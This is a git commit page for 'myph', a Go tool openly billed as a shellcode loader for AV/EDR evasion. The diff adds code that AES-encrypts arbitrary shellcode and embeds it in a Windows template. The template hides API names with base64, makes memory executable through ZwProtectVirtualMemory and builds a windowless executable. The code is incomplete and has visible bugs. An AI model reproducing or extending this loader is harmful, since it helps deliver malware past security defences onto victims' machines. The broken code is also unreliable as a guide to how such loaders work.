myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 91d7072f0560c53777360c617bfb00547b4085e5
parent be3ded91a854a307d2303bb7d86207a454f7b35d
Author: winds0r <[email protected]>
Date: Mon, 6 Feb 2023 17:10:02 +0900

feat(loader): Basic Windows loader(WIP)

Diffstat:
Mcli/parser.go | 36+++++++++++++++++++++++++++++++++---
Mloader/types.go | 3---
Mloader/utils.go | 181++++++++++++++++++++++++++++++++-----------------------------------------------

3 files changed, 106 insertions(+), 114 deletions(-)

diff --git a/cli/parser.go b/cli/parser.go
@@ -1,9 +1,13 @@
 package cli
 
 import (
+	"fmt"
+	"os"
+	"os/exec"
+
 	"github.com/spf13/cobra"
 
-    "github.com/cmepw/myph/loader"
+	"github.com/cmepw/myph/loader"
 )
 
 func GetParser(opts *Options) *cobra.Command {
@@ -16,9 +20,35 @@ func GetParser(opts *Options) *cobra.Command {
         Long: `CLI to prepare your shellcode and do AV/EDR bypass`,
         Run: func(cmd *cobra.Command, args []string) {
 
-            println("pee is stored in the balls")
+            pre_encrypted_payload, err := loader.ReadFile(opts.ShellcodePath); if err != nil {
+                fmt.Println("Read shellcode error: %s", err.Error())
+                os.Exit(1)
+            }
+
+            payload, err := loader.EncryptPayload(pre_encrypted_payload, []byte(opts.AesKey)); if err != nil {
+                fmt.Println("Encryption error: %s", err.Error())
+                os.Exit(1)
+            }
+
+            s := loader.Shellcode{
+                Payload: payload,
+                Filename: opts.Outfile,
+                AesKey: []byte(opts.AesKey),
+            }
+
+            toCompile := loader.LoadWindowsTemplate(s)
+            err  = loader.WriteToTempfile(toCompile); if err != nil {
+                fmt.Println("Write error: %s", err.Error())
+                os.Exit(1)
+            }
+
+            /* run compilation */
+            err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", s.Filename, "tmp.go").Run()
+            if err != nil {
+                println("[!] Compile error: " + err.Error())
+                return
+            }
         },
-
     }
 
     defaults := GetDefaultCLIOptions()
diff --git a/loader/types.go b/loader/types.go
@@ -8,9 +8,6 @@ type Shellcode struct {
     // output filename
     Filename string
 
-    // symbol name in program memory
-    SymbolName string
-
     // AES key used for encryption & decrpytion
     AesKey []byte
 }
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,122 +1,87 @@
-package loader;
+package loader
 
 import (
-    "bytes"
-	"debug/pe"
-	"encoding/hex"
+	"bufio"
+	"bytes"
 	"fmt"
-	"go/ast"
-	"go/token"
-	"go/types"
-	"io/ioutil"
+	"io"
+	"log"
 	"os"
-
-	"golang.org/x/tools/go/gcimporter"
-	"golang.org/x/tools/go/ssa"
-	"golang.org/x/tools/go/ssa/ssautil"
 )
 
 
-/* Generates full PE file, assuming shellcode has already been encrypted with AES */
-func GetPE(sc Shellcode) ([]byte, error) {
+func LoadWindowsTemplate(s Shellcode) string {
+    return fmt.Sprintf(`
+    package main
+
+    import (
+        "os"
+        "syscall"
+        "encoding/base64"
+
+        "github.com/cmepw/loader"
+    )
+
+    func main() {
+        /* decrypt shellcode using AES */
+        payload, err := loader.DecryptPayload(%s, %s); if err != nil {
+            os.Exit(1)
+        }
 
-    /* create new file that includes shellcode and wrappers */
-    fileSet := token.NewFileSet()
-    file := &ast.File{
-        Name: ast.NewIdent(sc.Filename),
-        Decls: []ast.Decl{},
+        ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
+        zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
+
+        var hProcess uintptr = 0
+        var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
+        var dwBufferLen = uint(len(payload))
+        var dwOldPerm uint32
+
+        /* prepare syscall in memory */
+        syscall.NewLazyDLL(ntdll).NewProc(zwprotectMemory).call(
+            hProcess - 1,
+            uintptr(unsafe.Pointer(&pBaseAddr)),
+            uintptr(unsafe.Pointer(&dwBufferLen)),
+            0x20, /* PAGE_EXEC_READ */
+            uintptr(unsafe.Pointer(&dwOldPerm)),
+        )
+
+        /* run syscall */
+        syscall.Syscall(
+            uintptr(unsafe.Pointer(&syscall[0])),
+            0, 0, 0, 0,
+        )
+    })`, s.AesKey, s.Payload)
+}
+
+func ReadFile(filepath string) ([]byte, error) {
+
+    buf := bytes.NewBuffer(nil)
+    f, err := os.Open(filepath); if err != nil {
+        return []byte{}, err
     }
 
-    varList := &ast.ValueSpec{
-		Names: []*ast.Ident{ast.NewIdent(sc.SymbolName)},
-		Values: []ast.Expr{
-			&ast.CompositeLit{
-				Type: &ast.ArrayType{
-					Elt: &ast.Ident{Name: "byte"},
-				},
-				Elts: []ast.Expr{},
-			},
-		},
-	}
-	for _, b := range sc.Payload {
-		varList.Values[0].(*ast.CompositeLit).Elts = append(
-            varList.Values[0].(*ast.CompositeLit).Elts,
-            &ast.BasicLit{
-                Kind:  token.INT,
-                Value: fmt.Sprintf("0x%02x", b),
-		})
-	}
-	file.Decls = append(file.Decls, &ast.GenDecl{
-		Tok:   token.VAR,
-		Specs: []ast.Spec{varList},
-	})
-
-    runFunc := &ast.FuncDecl{
-		Name: ast.NewIdent("run"),
-		Type: &ast.FuncType{
-			Params: &ast.FieldList{},
-			Results: &ast.FieldList{
-				List: []*ast.Field{
-					{
-						Type: &ast.Ident{
-							Name: "error",
-						},
-					},
-				},
-			},
-		},
-		Body: &ast.BlockStmt{
-			List: []ast.Stmt{
-				&ast.ExprStmt{
-					X: &ast.CallExpr{
-						Fun: &ast.Ident{
-                            // This is is not very sneaky but a problem for later
-							Name: "syscall.RawSyscall",
-						},
-						Args: []ast.Expr{
-							&ast.Ident{
-								Name: "uintptr",
-							},
-							&ast.BasicLit{
-								Kind:  token.INT,
-								Value: "0",
-							},
-							&ast.Ident{
-								Name: "uintptr",
-							},
-							&ast.UnaryExpr{
-								Op: token.AND,
-								X: &ast.IndexExpr{
-									X: &ast.Ident{
-										Name: sc.SymbolName,
-									},
-									Index: &ast.Ident{
-										Name: "uintptr",
-									},
-								},
-							},
-							&ast.Ident{
-								Name: "uintptr",
-							},
-							&ast.BasicLit{
-								Kind:  token.INT,
-								Value: "0",
-							},
-							&ast.Ident{
-								Name: "uintptr",
-							},
-							&ast.BasicLit{
-								Kind:  token.INT,
-								Value: "0",
-							},
-						},
-					},
-				},
-            },
-        },
+    io.Copy(buf, f)
+    f.Close()
+
+    return buf.Bytes(), nil
+}
+
+func WriteToTempfile(payload string) error {
+     // create file
+    f, err := os.Create("tmp.go")
+    if err != nil {
+        log.Fatal(err)
     }
+    defer f.Close()
 
-    // TODO: add return statement here & split into multiple functions
+    buffer := bufio.NewWriter(f)
+    _, err = buffer.WriteString(payload + "\n"); if err != nil {
+        log.Fatal(err)
+    }
 
-    return sc.AesKey, nil
+    // flush buffered data to the file
+    if err := buffer.Flush(); err != nil {
+        log.Fatal(err)
+    }
+    return nil
 }